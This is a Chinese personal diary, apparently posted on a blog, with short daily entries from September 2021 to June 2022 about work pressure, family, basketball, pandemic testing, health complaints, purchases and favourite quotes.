每个人都不能全然得到别人的理解，每个人都会感到孤独时刻，即使有亲密关系，每个人都很矛盾，语言并不能完全表达真实的内心，每个人都背负越来越多责任。但是每个人都可以用简单地方式去理解世界：简单地喜欢一个人，简单地帮助一个人，简单地不想做任何事情。这里面没有多么复杂的关联和理由，就是想简单点，因为世界太复杂。
2021-09-03
微信来电铃声已换成 Way Back Into Love
2021-09-04
前往广州。
2021-09-05
给心爱的人煮饭。
2021-09-06
要安排好工作。
工作太忙，没去住建局排公租房的号。
2021-09-07
真实是什么？你怎么定义真实？如果你说的是你感受到、闻到、吃到、看到的，那么真实就不过是你的大脑解读出的电子信号。
2021-09-08
下载了「鼾声分析器」app：一晚上的打鼾时间（轻声 + 大声）超过 30%。
早上起来，拉了一条长长粗粗的便便 💩。有一个正常规律的排泄系统，是多么幸福。
光膀子的体重是 62 kg，脱掉短裤 🩳，只穿内裤 🩲 是 61.7 kg。
2021-09-09
每天很忙，但是产出却很少。
2021-09-10
现在已经养成一个强迫症了，出门前都会检查冰箱有没有关上门。
教育不是装满一个桶，而是点燃一把火。Education is not the filling of a pail, but the lighting of a fire.
2021-09-11
去和三姐的男朋友 Jonwin 打篮球 ⛹️🏻♂️。这次的全场发挥还不错，命中率有 60%，贡献了十几分。但是体力不支，以及不会跑空位，下次要改进。而且每次投中几个球之后，我就被重点盯防。然后又懒，不会跑位，接下来就被牵制住了。
2021-09-12
本来今天要打扫房间的，上午玩电脑，下午跟高中同学出去吃饭。LS 车技大有提升（不过倒车时忘记关车门，碰到电线杆子了），但还在为长痘的事情烦恼。ZZL 换了新的工作，住进了简单的小窝，开始从几年前的失恋中走出来，开启下一段亲密关系。
2021-09-13
放浪形骸是指行动不受世俗礼节的束缚，出自晋·王羲之《兰亭集序》：或因寄所托，放浪形骸之外。希望在这个科技时代，每个人都能找到自己有所寄托的好事物。不反智，不为残缺的互联网所困，不受束缚。by troylau
为了显示精确时间，我购买了倒数日专业版（Days Matter Pro）：
- 总价：$3.15（售价 $2.99 + 税额 $0.16）
- 优惠：$2.00
- 实付：$1.15
人生的许多光景，好像只有被影像记录下来，才会减少时间飞逝的焦虑。by 《旅行的意义》
重要的事情优先做，能委托别人的事情先安排。
2021-09-14
好想把楼下幼儿园的喇叭 📢 给打下来，七点半 🕢 到八点半 🕣 都在放无趣且低质量的儿歌，甚至还有抖音口水歌。还想把话筒 🎤 塞进喊麦男幼师的嘴巴里。哦对了，周一升旗宣誓的第一句是我爱共产党，ta 们还是孩子，哪里懂这些？！
跟一位在日本大阪的读者 Tiry 语音聊了聊，ta 认为优质的内容应该得到合理的回报。
23:452021-09-15
昨晚 04:45 说了 17 秒的梦话。
出来混，错了要人，被打了要站稳。by《古惑仔之人在江湖》
2021-09-16
博客正式接入 Google AdSense。加点广告，希望读者不要介意。
04:292021-09-17
第一次长针眼，在左下眼睑。
麦粒肿（英语：Hordeolum，亦称 Stye），又称为针眼、偷针㽿，是眼睑下一种皮脂腺的感染，这导致眼睑边缘出现红肿。麦粒肿的形成通常导因于金黄色葡萄球菌感染，眼睑内部是由于麦氏腺感染，而外部是因为蔡斯氏腺（英语：Gland of Zeis）感染。麦粒肿不经过治疗往往在数天至数周内恢复，建议用热敷等方法加速痊愈的速度，偶尔眼部药膏抗生素也推荐被使用。然而用以推荐支持这些措施的证据仍贫乏。麦粒肿出现的频率尚不明了，它可能出现在任何年龄层。by 维基百科
2021-09-18
三姐昨晚梦见我了：
老爸要把你去送给别人，说你还要读书，读研究生，我们供不起，说把你送到一个有钱人家去，好远！老妈和我大姐哭的稀里哗啦，不愿意哦。
哥哥给老爸老妈买了一套救生衣，因为下自家鱼塘捕鱼时，鱼太大，撞到胸口，淤青了。
这些事情父母都没有和我说，不想让我担心。
2021-09-19
在生鲜电商平台朴朴超市，买快手菜回来自己做，体验还不错。
2021-09-20
天凉好个秋。
2021-09-21
第一个非群发祝福：
勃士，中秋快乐。byZML
2021-09-22
顺风车主开车看手机，撞上停在路边没开警示灯的车。
2021-09-23
工作那么忙，效率那么低。
2021-09-24
只穿内裤 🩲 的体重是 61.5 kg。
08:42过生日对于成年人来说是一件残酷的事情。每长一岁，睡眠跟着差，容貌跟着衰，朋友跟着少，责任跟着多，而收入却没有跟着长。但也提醒着我们：人生苦短，不过百年，能健健康康地过好每一天，已是大幸。
2021-09-25
第一次发现自己不笑的时候，眼纹也是这么明显。
支付宝的花呗已开通 2258 天，还款 47 次。现在接入中国央行征信系统，停用看看。
23:552021-09-26
大人，永远都是在骗人而已。by 郭玉洁
2021-09-27
散打，原名就不打了，反正没人知道，也是一个搞笑派的代表。兄弟之间有时互相损损对方，给别人带来了欢笑，而且还是我们经常打的对象，感情就慢慢越打越深了，当然只是玩玩的，而且所幸散打比较大度一点，不轻易生气。by GJL 于 2011 年 9 月 9 日发表在 QQ 空间上
2021-09-28
昨晚梦见五姐带着我去门店买 iPhone 13，我嫌太重了，没下单，因为我的第一部手机联想乐 Phone P70（2011 年 8 月 28 日上市，售价 ￥1480）就是五姐在高中买的。
2021-09-29
六神无主，下车后，才发现没带头盔。
2021-09-30
和哥哥们吃完烧烤，回去洗澡睡觉。
02:46出门上班前，特地把「发泥」和「定型喷雾」放在明显的位置，因为表哥要和一个刚认识的女孩共进晚餐。
表哥见了妹子，整天感觉还不错。
2021-10
2021-10-01
起床，回家。
04:47到家了。
12:262021-10-02
空气微凉，枕着虫鸣，睡得踏实。凌晨一点多 🕐 就有鸡啼以及狗叫。
01:22和两位高一同学吃饭看电影，GJL 还是黑黝黝的乐天派，ZHB 浪子回头，不想过夜生活了。
2021-10-03
人们总在谈论科学技术有多发达，节省多少时间。但如果没人好好利用时间，节省它又有什么时间，只能更忙于工作。by 《爱在黎明破晓前》
幸福的秘诀就是永远抱有低期望值。The secret to happiness is low expectations.
2021-10-04
下午去看外婆，一见面外婆就抱紧我，说这么久不来看她，眼眶已湿润。一番简单的交谈后（一个钟左右），哥哥帮外婆切好晚餐要吃的猪肉，我帮外婆调好电视。准备离开时，哥俩各往外婆口袋塞 ￥100，外婆不肯收，直接把钱丢在地上，我捡起来再次塞进口袋，睡了一些好话，才勉强收下。外婆的脸没那么肉嘟嘟了，希望心情可以保持好，健康可以保持住。
2021-10-05
在家干干农活，还是挺辛苦的。
2021-10-06
出发，返深。
13:10到深。
19:102021-10-07
以后去隔壁村打篮球，应该天天有场子。
2021-10-08
下雨了，不能洗被单了。
2021-10-09
天天带伞，唯独今天忘记带伞，偏偏加班又遭绵绵雨。
21:372021-10-10
明天开始不熬夜。
2021-10-11
10 月 4 日开始在博客投放文末展示广告，现在累计收入 0.13 USD。
2021-10-12
试试兼职保险经纪人（不是专职某家公司的保险代理人），因为不少读者让我推荐保险产品。这样赠人玫瑰的时候，自己的手上可以留点铜臭味（佣金）。
【保通】您已成功提交加入保通申请，我们会严格保密并为您申请执业证。
12:39为了落实《中国银保监会办公厅关于开展保险专业中介机构从业人员执业登记数据清核工作的通知》（银保监办发〔2019〕56 号）及《中国银保监会办公厅关于切实加强保险专业中介机构从业人员管理的通知》（银保监办发〔2020〕42 号）的工作要求，加强本公司对在职人员进行有效管控的主体责任，故对于注册后未出单，一年内未登陆过的用户，会进行做离职处理。
2021-10-13
做外贸，不得不熬夜回客户。
01:02恭喜您成功入职保通。
13:13帮母亲续费了意外险。
￥99 购买了 flomo Pro，并绑定了对应的 Telegram 机器人 @flomo_bot。因为 Telegram 中文搜索太差了，不适合存放碎片化思考。`20:53
2021-10-14
又是繁忙的一天。
2021-10-15
优化工作方式，瞎忙活，不可取。
2021-10-16
我从 2018 年 12 月加入支付宝的「相互宝」到现在，目前均摊金额是一个月 80 元，包含两位 60 岁以下成员，一位 60 岁以上成员，参与均摊人数 7954 万人。
阿颖陪我去腔海珠院区洗牙，没出血，把一些黑色牙结石洗掉了，一点酸。
广厦千间，眠仅需六尺；家财万贯，日食不过三餐。by 《增广贤文》
2021-10-17
天凉好个秋，不热不冷，真舒适。
2021-10-18
胸闷气短，不知为何。
2021-10-19
刷完了韩剧《鱿鱼游戏》，意犹未尽，期待续集。
21:452021-10-20
吃个柿子，吞太快，差点噎住，定了好一会才缓过来。
08:442021-10-21
天气转凉了。
2021-10-22
若不是生活所迫，谁又愿意弄得一身才华呢？by 山级青年
2021-10-23
打全场篮球时，我是无头苍蝇。
2021-10-24
会见「老友」 DHF，得知他的老伴上半年肺癌去世了。
2021-10-25
要重新梳理 To Do，优先做重要的事情。
2021-10-26
老爸忘记如何在微信上转账了，打电话让我写张纸条告诉他。
在「朴朴网上快送超市」不小心买了 100 g 艾叶，不知道怎么吃。于是拿去煮了「孜然艾草蛋花汤」（因为炒了孜然牛肉没洗锅），第一次煮汤，好难吃。
2021-10-27
通过「群买买」卖货，收到佣金 ￥38.41。
2021-10-28
拜访纸管供应商，喝了三两左右的白酒（酒精浓度 53%），刚开始没事，后来头晕脚软。
2021-10-29
这次前往广州的顺风车是女司机，路线不熟，还加塞了一个：后排坐 4 个人。还试图先去远的地方，不先送处于中间地点的我。
2021-10-30
去「优剪」理了一个很丑的短发。
2021-10-31
广州地铁还是那么挤。
在 NameSilo 为 tingtalk.me 这个域名续费到 2022-11-07。费用逐年上涨，去年是 13.79 美元，今年是 16.99 美元。
2021-11
2021-11-01
11 月就这么来了。
2021-11-02
经期陷入消费陷阱了，要理智呀。
2021-11-03
工作依旧非常忙。
2021-11-04
CT 请我吃了烤羊排，到现在还好饱。Ta 辞职有一段时间了，但是不着急找工作，先做自己喜欢的事情，例如 3D 打印高达机器人，并发布在闲鱼 App 售卖。希望 Ta 的副业可以转正。
花了 ￥180 元换了一个摩托车 🛵 的后轮电机，因为越卡越紧。怪不得之前充满电只能跑几天。
2021-11-05
今晚打了 三个半钟篮球，太舒爽了。
2021-11-06
把被套和床笠都洗干净了。
2021-11-07
前去佛山跟初中的武校同学聚会。
PSH 通过在云南做赌石生意挣了第一桶金，疫情停业，转战到拼多多直播卖货（古玩、茶叶、白酒等）也做得风生水起，一个月挣个两百万不是问题，虽然某些产品挂羊头卖狗肉。
ZYF 是梅州某小镇房地产大亨，勤学苦干，已能在这个行业独当一面，新开拓的酒店产业也势头良好。只是缺少左膀右臂，其弟弟无精打采，仿佛一切都勾不起 Ta 的兴趣。
ZJB 之前开出租车，现在开网约车。长期久坐，不见学生时代消瘦的模样，肚子鼓鼓的。生于 1993 年，单身至今。
2021-11-08
电动摩托车 🛵 前轮漏气，灌了一瓶胶水进去，一顿猪脚饭没了。
2021-11-09
今天把厨房清扫干净了。
2021-11-10
戴上隔音耳塞会耳鸣。
浴室清扫完毕。
2021-11-11
今年不过光棍节。
2021-11-12
今天是周五，有两人约，但是推掉了。因为女友从广州过来。
2021-11-13
今天的篮球命中率不错，没在面前出丑。
2021-11-14
大商场已经不适合约会了。
2021-11-15
周一到了，又要上班了。
2021-11-16
专注能带来效益高的工作内容。
2021-11-17
帮读者朋友搭建摄影博客：qingshanliu.com
2021-11-18
工作出现倦怠情绪了。
2021-11-19
每天叫醒我的不是闹钟和梦想，是便意。
2021-11-20
在中国，生活是便利的，例如网购、买菜、顺风车。但想说句真话，会招来很多麻烦。
2021-11-21
广州番禺居然有 31 年的老店：表哥好味鹅（鲍鱼鸡）。服务热情，食物美味，价格适中。
2021-11-22
降温了，睡觉不会踢棉被了。
2021-11-23
去珠海参加大学同学 FXQ 的婚礼。
2021-11-24
珠海是个宜居城市，不像深圳，大家都在赶路。
2021-11-25
现在的学生，太辛苦了。
2021-11-26
周五到了，可是周六上午还要上班。
2021-11-27
篮球命中率下降了。
2021-11-28
初中同学 WYR 过来请教独立网站卖货的事情。
2021-11-29
楼下的鸡煲王餐厅，味道还不赖。住了 2 年多都没去尝尝，来晚了。
2021-11-30
八点上班，地铁太挤，有时都无法出站。
2021-12
2021-12-01
晚上回到家就不想工作了。
2021-12-02
冬天来了，睡觉也开始有寒意。
2021-12-03
工作太忙，老板给我配一个助理那该多好呀。
2021-12-04
COVID-19 继续变种，但已经感受不到死亡的气息了，已经无法想象没戴口罩之前的场景了。
2021-12-05
深圳很少儿童公园，学校不够用，医疗资源也不丰富，一点也不宜居。
2021-12-06
周一开始了，要好好挣钱了。
2021-12-07
糟了，上厕所没带纸，以为在家里。幸好洗手台旁有厕纸，先提起裤子去拿，大便💩应该不会沾到裤子。
2021-12-08
To Do 系统用起来！
2021-12-09
去纸盒/纸管工厂参观学习。
2021-12-10
搞了一周，终于激活了 WordPress 的主题（模板），怪 Web Hosting 提供商 SiteGround 的安全做得太好了。
下了班，和 CT 一起打篮球 ⛹️🏻♂️，然后一起去鸡煲王餐厅吃牛杂。
2021-12-11
上午工作很忙，下午和 CT 一起去吃焖甲鱼。
2021-12-12
和 CT 去光明区逛了逛，吃了乳鸽。
2021-12-13
每次和外国客户开英语视频会议，都要老板代我参加。我不仅听不懂，还是个哑巴。
减少听播客的时间，多练习英语听力和口语。
2021-12-14
生活突然失去了重心和意义，在忙碌的工作中。
2021-12-15
第一次下班忘记带包回家，到了地铁安检处才发现，于是灰溜溜地回到办公室。
2021-12-16
又是忙翻的一天。
2021-12-17
疫情反扑，依旧出行。
2021-12-18
蒸汽锅是个不错的烹饪的方法。
颖送我一个很贵钱包，里面有两张合影。
2021-12-19
疫情没有加剧，还可以返深。
2021-12-20
这一周要把工作理顺。
2021-12-21
今天是冬至，公司允许提前一个小时下班。
2021-12-22
和 CT 一起吃了自助餐烤肉，还是大厨有锅气的饭菜香。
把胡子 🧔🏻 提了，做个清爽的打工仔。
2021-12-23
《黑客帝国：矩阵重启》（The Matrix Resurrections）不算烂尾。
2021-12-24
一到周末就请假。
2021-12-25
把海蛏洗干净，不容易。蒸熟之后见不到肉。
2021-12-26
下午突然下雨，不能出去逛街买衣服。
2021-12-27
寒潮来袭，肃杀的冬天要来了。
2021-12-28
今天去社区健康服务，检测自己是否有新冠病毒，体验很不好，指示很不明确。
2021-12-29
工作是不是只会越来越忙？感觉自己像一个齿轮停不下来。
2021-12-30
到年底了，公司组织员工一起去吃自助餐。虽然是五星级的旋转餐厅，但是体验一般，环境昏暗，人潮拥挤。
酒足饭饱之后，客户依次送我们礼物，女员工是化妆品，男允员工则是颈部按摩仪。最贴心的是每一个礼物都手写的了贺卡。在我的贺卡上，里面写到：虽然没怎么跟我打过交道，但我的笑容以及乐观积极的做事态度给她留下了很深刻的印象。
2021-12-31
最后一天，普普通通。
2022
2022-01
2022-01-01
YQ 都生二胎了。
第一次怀孕的原因：最开始没做措施，应该不到 1 分钟才做措施，就怀上了。 因为男性前戏过程中产生的液体也有少量精子。
第二次怀孕的原因：大姨妈结束的第一天，全程没做措施，又怀上了，可能是因为加班太多，经期紊乱。所以女性没有安全期。
2022-01-02
天气真好，适合郊游，例如「广州海珠国家湿地公园」。
2022-01-03
开始记账，花 ￥133.07 买了钱迹 app 终身会员。
2022-01-04
《奇巧计程车》（Odd Taxi）：★★★★☆。
01:452022-01-05
富则达济天下，穷则独善其身。
免费的 Microsoft To Do 提醒的不能持续响铃，于是花了 ￥139 买了滴答清单 1 年高级会员（账户）。
21:222022-01-06
怎么办？又想买一个坚果云同步的会员了？
2022-01-07
手机误触，导致纪录丢失。
2022-01-08
手机误触，导致纪录丢失。
2022-01-09
手机误触，导致纪录丢失。
2022-01-10
手机误触，导致纪录丢失，所以还是要常备份。
2022-01-11
好好练英语，人生才有更多可能。
2022-01-12
煮蛋器上蒸包子，但是忘记盖盖子。
08:51LJJ：话说散打，一点都不油腻，还是充满诗和远方，你得保持下去。
14:342022-01-13
我失去了生活的重心，太多事情想要去做，但是时间又远远不够。
2022-01-14
还是忙到飞起，要优化我的工作流程。
2022-01-15
过去帮二姐打理行李，以及把食物带过来，以及一些桌椅被子。
2022-01-16
本来周末有很多事情要做的，然后去看那些哔哩哔哩百大 UP 主的视频去了。
2022-01-17
上完这周就可以回家过年了。
2022-01-18
忙忙忙。
2022-01-19
疫情一定要控制住啊。
2022-01-20
年终奖无望。
2022-01-21
今天醒得特别早。
07:222022-01-22
大城市张灯结彩，也没有年味。
2022-01-23
要把小汽车练熟，以备不时之需。
2022-01-24
去医院做新冠病毒的核算检测，乌泱泱的一片。
2022-01-25
今天是我的新历生日，那些窃取了我隐私的互联网服务又开始假惺惺地祝我生日快乐：
- 中国太平
- 中国平安
- 中国联通
- 招商证券
- 东方航空
- 支付宝
- 云闪付（中国银联）
- ……
特别批评「云闪付」送的优惠券，商品价格已提高几倍，折算下来等于没有优惠。
2022-01-26
出发回家。
11:00到家。
16:35手机内存大，就可以肆无忌惮的拍照片。
2022-01-27
散养黑猪，力大如牛。
猪杂鲜汤，唇齿留香。生吃萝卜夏吃姜
近水人家先得葱
碧荷豆腐总相宜
好雨知春惹人恼
野生草莓花正艳
三口鱼塘活水来
门前芹菜好放香
手握泡泡加特林
土味弟弟乐开怀2022-01-28
在农村老家，连发呆都是这么开心。
🐷 猪小妹学院
- 小班授课：明星导师一对二，从少年到入肚
- 拒绝内卷：不设超膘线，早晚都是死，躺平即可
- 科学膳食：不限量供应热水，食物不生不冷，助消化，不拉稀。长肉速度是同行的两三倍，胖嘟嘟，肉乎乎
- 郑重承诺：月长八十斤，少半斤全额退款
支付订金 ￥888，提前锁定稳稳的口福 [哇]
2022-01-29
尽量主要和父母动怒，即使父母错了。
2022-01-30
打鱼，帮邻居贴对联。
2022-01-31
最大外甥 CFD：祝小舅新年快乐喔，事业进步，也祝你在新的一年有新的收获，新的造诣，新的灵感，新的启发，新的幸福，新的感想，新的朋友！平平安安，身体健康，身体才是革命的本钱！希望今年能喝到你的喜。
LJJ：散打，新年伊始，祝你岁岁常欢愉，年年皆胜意！
King：2022 新年快乐庭哥！过去一段时间有些忙碌，关注群少一些，不知不觉「小庭子的后花园」又增加了这么多的小伙伴，庭哥正在影响着越来越的人！永远感谢庭哥无私分享的互联网精神，带领着我们这些在如今日益颓废的中文互联网迷途的人找到方向，过好数字生活！最后祝庭哥虎年健康，虎年大吉！庭哥总是用心地回复每一位读者，真是非常地幸运认识庭哥。
TKL：祝你在新的一年里身体健康，工作顺利，早点把女朋友变老婆。
2022-02
2022-02-01
年初一太冷了，躺在床上。
2022-02-02
沉住气，不动怒。除了健康，皆是小事。
2022-02-03
给外甥女写庚贴（庚书）。
Android 电视和 Windows 电脑，我想通过 SMB 的方式传送安装包，没有成功之后我就不折腾了。因为很多 “智能” 电视现在都不支持安装第三方的 App，我还没找到破解的方法。
2022-02-04
出去镇上做核酸检测，因为防疫过度。
2022-02-05
没下雨，要是出个太阳就更好了。
2022-02-06
这两天炸金花，赢了 300 块。
2022-02-07
返深。
11:11到深。
17:112022-02-08
拉完便便后，我的体重是 66.5 kg。
09:12大姐：期待你能更好突破一下自己，人生总要有梦想和目标，男儿当自强，有能力爱自己想爱的人就是最好的历练和成长。你刚入工作几年能做好工作同时不断学习提升自己已经很棒了，爸妈在农村见识不到太多东西，对很多时候的看法停留在过往经验里其实也可以理解。如今年纪大了就是期望儿女有出息，说白了就是有能力赚更多钱养家，自然也就宽慰。姐依然看好你的学习力和创造力，任何人的成功取得都是历经千辛万苦的！金钱再多也需要赋予它意义才更有价值，对金钱的渴望和追求是取决于你对自己和身边亲人的规划和愿景。姐也知道你很孝敬父母，已经也做的很好，只是父母和亲人永远满足不了，希望你更好而已，越来越好！姐是不喜欢总给自己和他人贴太多不好印象的标签，谁不都是一路成长跌跌撞撞起来的，然后呢，姐希望用你的智慧大脑适当疏导一下三姐，你们都在恋爱期比较可以同频。因为姐真心希望你们即将步入婚姻家庭能学会一开始就认真经营好。姐有时候也是把你们疼在心里了，有时候听到爸妈训你们话，心里也会过去不去。总觉得姐没把你们带的很好，内心也会些许惭愧，所以姐一直也努力工作，希望未来更有能力在你们需要的时候帮到你们，一起互帮互助，相伴到老。血脉缘分是一辈子的。
2022-02-09
收到 4 个开工红包：
- 老板：￥100
- 客户：￥100
- 同事：￥20 x 2（已婚人士发给未婚人士）
2022-02-10
防疫过度，不然网络送菜员进入社区。
2022-02-11
忙。
2022-02-12
左侧腰部好像得了带状疱疹。
2022-02-13
去楼下药店买了 1 支「阿昔洛韦乳膏」（15 克），以及 4 盒「阿昔洛韦片」（一盒是 0.1 克 x 32 片），花了 ￥106。
我很少生病，一生病都会比较严重，所以这次的用药剂量比较大：
- 阿昔洛韦药片：一次 0.8 克，一日 5 次，共 7 至 10 日
- 阿昔洛韦乳膏：白天每 2 小时 1 次，一日 4 至 6 次，共 7 日
2022-02-14
去医院看皮肤科，需要核酸检测 72 小时阴性证明。为了快速出结果，去了发热门诊做封闭测试，等了三个钟结果才出来了。
2022-02-15
带状疱疹没有扩散，但是比以前痒。
成年人的生活不得不天天考虑挣钱的事情。
2022-02-16
换个新的手机壳。
2022-02-17
买了一把新雨伞，一键打开，一键关闭，就是不能帮我一键折好。
2022-02-18
笔记本电脑修好，但是维修人员擅自把我的系统重装了，幸好其它硬盘的资料没有删除。
2022-02-19
刚刚和客户视频通话完，纵使我的英语很蹩脚，也能完成沟通工作。
01:342022-02-20
胡吃海吃，伤害身体。
2022-02-21
熬夜了，不要命了。
03:292022-02-22
免费版的坚果云同步容量不够用（上传流量 1 GB/月，下载流量 3 GB/月），花 ￥199.9 买了一年的专业版。
2022-02-23
和设计师 WSH 吃饭，他没有怎么变，还是像以前一样啊，简单朴实，孝顺父母。
2022-02-24
工作越来越忙，我应该抛弃那些不重要的事情。
2022-02-25
一下子都 28 岁了。希望自己和亲朋好友：有钱没钱，身体都健健康康，心情都舒舒爽爽，没心没肺，做个简单的人类。
只有 TSW 记得我的生日，哈哈。
2022-02-26
久违的好天气。
2022-02-27
想要一个小孩，一起在番禺儿童公园玩一整天。
2022-02-28
工作只会越来越多。
2022-03
2022-03-01
我没时间慢下来去思考其他事情，这就是忙碌的中年人吗？
2022-03-02
每天都在催报价，发报价，像一个机器人。
2022-03-03
明日复明日，工作何其多。
「李宗瑞性侵案」一直被我误认为「李宗盛性侵案」，失敬失敬。
腰部左侧还是很痛。
2022-03-04
What the fuck，24 小时核酸检测点说停就停，复工之后只开到 21 点，也没有任何通知，连续几次都扑空了，那只能逼我用健康码截图通过检查点。
2022-03-05
最近拉的便便都不太漂亮，有点软，黏（nián）坑。
不卑不亢不做老好人。
因为桌子太高了，打字的时候不舒服。所以我在椅子的 4 个脚加了泡棉，然后用胶布缠起来，以此来椅子的高度。
2022-03-06
睡得太晚，又把周日给毁掉了。
2022-03-07
过度的防疫的政策，还要持续多久啊。
2022-03-08
妇女节，却看不到对妇女权益的讨论。
2022-03-09
把自己的工位收拾干净了。
2022-03-10
重新调整滴答清单的使用方法。
2022-03-11
病毒和中国政府，一场难分高下的较量。
2022-03-12
忙忙碌碌不知道忙啥。
2022-03-13
整个城市因为疫情都要陷入僵局了，公共交通停运，一律在家办公。
2022-03-14
居家办公，没有效率。
2022-03-15
排了一个半钟才轮到我做核酸检测。
2022-03-16
这 COVID-19，几时是个头啊？
2022-03-17
振作起来，在家也要规律作息，认真工作。
2022-03-18
今天一上午在工作，一下午都在研究红楼梦。
2022-03-19
一天又这么过去了，连楼都没下。
2022-03-20
今天去核算检测，有史以来最快的一次，不用排队，只有我一个人。
2022-03-21
广西发生空难，从 9 千米垂直下降，实在太可怕了。
2022-03-22
不管是工作还是生活，要做的事情太多了，总是无法闲下来。
2022-03-23
我的工作效率实在太低了。
2022-03-24
不知道该写些什么。
2022-03-25
挣钱真的不容易，大部分人一辈子都在为钱财奔波。
2022-03-26
到了周末就不想工作。
2022-03-27
我总是很喜欢吃包子。
2022-03-28
紧张的一周又开始了。
2022-03-29
忙死了。
2022-03-30
大脑一直紧绷着。
2022-03-31
3 月结束，阿庭加油。
2022-04
2022-04-01
今天愚人节，但是我没有被人耍。
2022-04-02
为清明节补班，但是今年不回家扫墓。
2022-04-03
亲近自然，给花儿拍拍照，放下人类荣辱利益。
2022-04-04
与 4 年未见老同学 LJ 叙叙旧，吃吃饭，谈谈心。
2022-04-05
假期结束，重返名利场。
2022-04-06
忙到没有写日记。
2022-04-07
放弃一些不重要事情吧。
2022-04-08
加薪被忽视了。
2022-04-09
回到老家，听着蛙叫睡，好舒服。
2022-04-10
返深。
13:222022-04-11
又是非常忙碌的周一。
2022-04-12
不知道这一天干了什么？
给劳动合同找茬。
2022-04-13
老板娘看了我给劳动合同的批改意见，气急败坏了。
2022-04-14
只穿的内裤，吃了晚饭和零食水果，一上称，69 kg。
2022-04-15
前几天的一个下午，年近 70 岁的老朋友 DHF 说：「给你发了个文章，请查收。修改后在你的平台及其它平台上发表为盼，为了我能活下去，你也得帮我发表。」今晚润色好了，发在很久没更新的 公众号 上。
2022-04-16
人没有欲望，还是人吗？
2022-04-17
广州番禺的 COVID-19 的核酸检测点太少了，排了一个小时才到。
2022-04-18
一下子又月中了。
2022-04-19
感恩图报，宽于待人。
2022-04-20
看完了央视拍的《红楼梦》（1987 年上映），真是快哉。
2022-04-21
一天天瞎忙。
2022-04-22
收到读者 100 人民币的赞赏，接下来要好好回馈了。
2022-04-23
研究红楼梦，地铁做过站了。
09:272022-04-24
老爸都 64 岁了。
2022-04-25
非常容易的分心去做其他事情。
2022-04-26
《火影忍者》里，自来也有一句名言：真正的忍者，是指可以忍耐一切的人。放在今天的社会里，真正的「润」者，就是不忍耐一切的人。我不会甘心于 996，不会甘心于租住 10 平的单间，不会甘心于让自己的小孩成长于这样的社会，不会甘心于让我的想法就烂在肚子里……所以我想办法逃离，想办法改变，尽全力挣扎。这，就是我的「润」道。by Jesse Chan
2022-04-27
这两天都在 00:30 分前睡觉，醒来精神比较好。但八点半的地铁很挤，下次晚一点再去上班。
2022-04-28
买了真空收纳袋，装棉被。
2022-04-29
五一假期，希望不要出乱子。
2022-04-30
假期第一天。
2022-05
2022-05-01
下大雨，刮大风，
2022-05-02
玩滑滑梯，去白水带登山，在江门北头咀牛餐馆吃正宗牛肉，过瘾。
2022-05-03
去何贤纪念医院，花了 28 元也没有测到核酸。
2022-05-04
身体健康最重要，最差不过要饭。
2022-05-05
喉咙痛，口腔溃疡，全身乏力，睡了一觉之后好多了。
2022-05-06
工作何其多。
2022-05-07
日子过得乱糟糟。
2022-05-08
明天 CT 生日，今天请 Ta 吃顿饭。Ta 已经待业半年了，但好像一点都不花慌。
2022-05-09
睡觉去了，没记。
2022-05-10
精神恍惚，坐过站。
2022-05-11
减少重复性的工作。
2022-05-12
努力，加油。
2022-05-13
渐渐对工作没那么反感了。
2022-05-14
中午没有怎么午休，晚上一下子就睡着了。
2022-05-15
对频繁自慰或者花费大量时间在色情内容上，影响了工作、生活、人际关系甚至生理机能的人不可错过。
2022-05-16
人是不是一定会重复自己的思维模式？一直都很难跳出来。
2022-05-17
找到场子打篮球了。
2022-05-18
想租一个满意的房子，不容易。
2022-05-19
研究国际版抖音。
2022-05-20
一个谐音也可以成为节日。
一个人的一生中，更多的时间花在从事自己热爱的事情上，更多的时间花在和喜欢的人相处上，人生已经足够美好了！by hoiale
克制“教育别人”的冲动，克制“道出真相”的冲动，克制沦陷混乱的冲动。by hoiale
没次坐车，听到司机放那些 DJ 舞曲或网络口水歌，都觉辜负了此情此景。等我有小汽车了，路上听听播客或经典老歌，这才不枉此行。
2022-05-21
广州番禺美食推荐：煲仔华
- 外卖送砂锅
- 直接在砂锅里煲饭
- 二十来块，实惠
2022-05-22
遇到不开心的事情，就去运动吧。
2022-05-23
新来一个新同事。
2022-05-24
不能吃太饱去打篮球。
2022-05-25
做酿苦瓜费事费力。
2022-05-26
晚上去打打篮球，从繁忙的工作中解放一下。
2022-05-27
跟单同事离职，公司全员一起吃散伙饭。
2022-05-28
大学同学相聚，打桌球，吃烧烤，舒坦。
2022-05-29
去南沙 ZZL 家撸猫，吃东北菜，大中午打篮球，看游艇，接着去中山继续打篮球（我被 FXQ 盖帽了），吃焖鹅。
2022-05-30
老爸坐在我的调动摩托车上，去医院做 COVID-19 PCR 核酸检测。两父子话不多。
2022-05-31
今天不到六点就起来，带父亲去市区身体检查。父亲第一次坐地铁（三姐后来告诉我的），我第一次做商务舱。四十公里路，七点半自由就到体检机构了：
- 眼睛出现白内障（可能是身体自然老化所致），视力模糊
- 牙齿缺少清洁，慢慢脱落中，所以只能吃软烂的食物
- 左肾脏有小结石，要多喝水
- 右肝脏轻微脂肪堆积
- 血压正常：123/80
更多检测结果，要过几天后才会出来。
在检测腹部彩超的时候，父亲不得不解下腰间的红布条，迷信的父亲用这个法宝，来压住身体中的病魔，例如冠心病，这是我猜测的原因。
这两天也有不少的独处时间，我本可以给父亲拍更多的照片，聊更多的话题，但最后都成了相坐无言。希望自己下次可以大胆一点，与父亲的相处时间一年加起来也不超过几天。
2022-06
2022-06-01
有老爸在深圳就是好，每天的晚饭都有着落。
2022-06-02
端午前一晚，好堵车。
2022-06-03
端午第一天，不出游，人多。
2022-06-04
去了一个人少的景点。
2022-06-05
端午不吃粽子，也没关系。
2022-06-06
今年的体检我还没去做呢。
2022-06-07
心脑血管疾病是人类的第一大敌，因为高油高脂高盐的饮食习惯。
2022-06-08
请假带父亲去广州会见医生。
2022-06-09
一定要把滴答清单用起来，不然生活会越来越乱的。
2022-06-10
配三姐去龙岗民政局领结婚证，顺便一起和爸爸回老家。
2022-06-11
在老家的晚上，听着虫鸣蛙声，睡觉踏实。
2022-06-12
外婆的屋前，童年的乐园。
2022-06-13
忙碌的一周又要开始了。
2022-06-14
工作上的激情少了。
2022-06-15
电影《教父》（The Godfather）系列是我打卡豆瓣电影 Top 250 上的绊脚石，第一部是 2016 年看的，第二部看了几次都中途而废。今年是上映 50 周年，前几天才把三部曲看完，实在太过瘾了。
昨晚发现一个影视解说 Up 主：吸奇侠。他的 教父系列解析视频，文案出彩，诙谐幽默，一定会让你茅塞顿开，拍案叫绝。
2022-06-16
